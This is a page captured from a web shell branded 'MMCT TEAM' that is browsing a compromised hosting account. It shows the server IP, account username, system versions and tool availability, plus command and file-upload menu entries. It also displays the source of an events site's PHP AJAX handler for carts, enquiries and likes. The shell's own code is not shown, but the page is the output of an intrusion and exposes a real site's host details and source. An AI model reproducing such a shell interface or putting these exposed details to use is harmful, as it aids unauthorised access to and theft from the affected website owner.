MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/eventsbyshubhchintak/vendor/function/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/eventsbyshubhchintak/vendor/function/ajax_function.php
<?php    
 	require_once '../includes/db-conn.inc.php';  
	
	$action = isset($_POST['action']) ? $_POST['action'] : ''; 
	switch($action) 
	{
		case 'addCart': 
		 	addCart($conn);
			break;
		case 'addEnquiry': 
		 	addEnquiry($conn);
			break;
			case 'userLike': 
		 	UserLike($conn);
			break;
		default :
		//header('Location: ../product_category.php');
	}
	
	
function addCart($conn)
{  
	$responsee=array();
	 $finalTotalRecordAry['data']=array();
	$getcustomername	= mysqli_real_escape_string($conn,$_POST['getcustomername']); 
	$getcustomermobile	= mysqli_real_escape_string($conn,$_POST['getcustomermobile']); 
	$getcustomermessage	= mysqli_real_escape_string($conn,$_POST['getcustomermessage']); 
	$getproductcode	= mysqli_real_escape_string($conn,$_POST['getcategoryname']);  
	$getproductname	= mysqli_real_escape_string($conn,$_POST['getusername']);
	date_default_timezone_set("Asia/Kolkata");
    $date=date("d-m-Y / h:i:s a");

    $sqls="insert into tbl_product_listing_enquiry(getcustomername,getcustomermobile,getcustomermessage,date,productname,productcode) 
				values('$getcustomername','$getcustomermobile','$getcustomermessage','$date','$getproductname','$getproductcode')";
				if(mysqli_query($conn,$sqls) or die(mysqli_error($conn)))
				{
					echo "1";
				}	
}

function addEnquiry($conn)
{  
	$responsee=array();
	 $finalTotalRecordAry['data']=array();
	$getcustomername	= mysqli_real_escape_string($conn,$_POST['getcustomername']); 
	$getcustomermobile	= mysqli_real_escape_string($conn,$_POST['getcustomermobile']); 
	$getcustomermessage	= mysqli_real_escape_string($conn,$_POST['getcustomermessage']); 
	date_default_timezone_set("Asia/Kolkata");
    $date=date("d-m-Y / h:i:s a");

    $sqls="insert into tbl_user_listing_enquiry(getcustomername,getcustomermobile,getcustomermessage,date) 
				values('$getcustomername','$getcustomermobile','$getcustomermessage','$date')";
				if(mysqli_query($conn,$sqls) or die(mysqli_error($conn)))
				{
					echo "1";
				}	
}

function userLike($conn)
{  
	 $getlike	=1; 
	 $listingid	= mysqli_real_escape_string($conn,$_POST['listid']); 

	 $sql="SELECT * FROM tbl_userlike where listing_id='$listingid'";
     $run=mysqli_query($conn,$sql) or die(mysqli_error($conn));
      $row=mysqli_num_rows($run);
      $data=mysqli_fetch_assoc($run);
      $count=$data['likecount'];
	if($row<1)
	{
		$sqls="insert into tbl_userlike(listing_id,likecount) 
				values('$listingid','$getlike')";
				if(mysqli_query($conn,$sqls) or die(mysqli_error($conn)))
				{
			 $sqladd = mysqli_query($conn,"update tbl_listing set 
			 lisitng_count='$count' where id ='$listingid'") or die(mysqli_error($conn));
					//echo "data inserted";
					echo "1";
				}
	}
	else
	{
		$count++;
		$sqladd = mysqli_query($conn,"update tbl_userlike set 
			likecount='$count' where listing_id ='$listingid'") or die(mysqli_error($conn));
			if(mysqli_affected_rows($conn) > 0)
			{
				$sqladd = mysqli_query($conn,"update tbl_listing set 
			   lisitng_count='$count' where id ='$listingid'") or die(mysqli_error($conn));
				 echo "1";
				//header('Location: ../brand-list.php?m=4');
				//echo "data update";
			
			}
			else
			{
				//echo "0";
				//header('Location: ../brand-list.php?m=5');
				echo "data not update";
			}


	}

 
}


?>	 
	

MMCT - 2023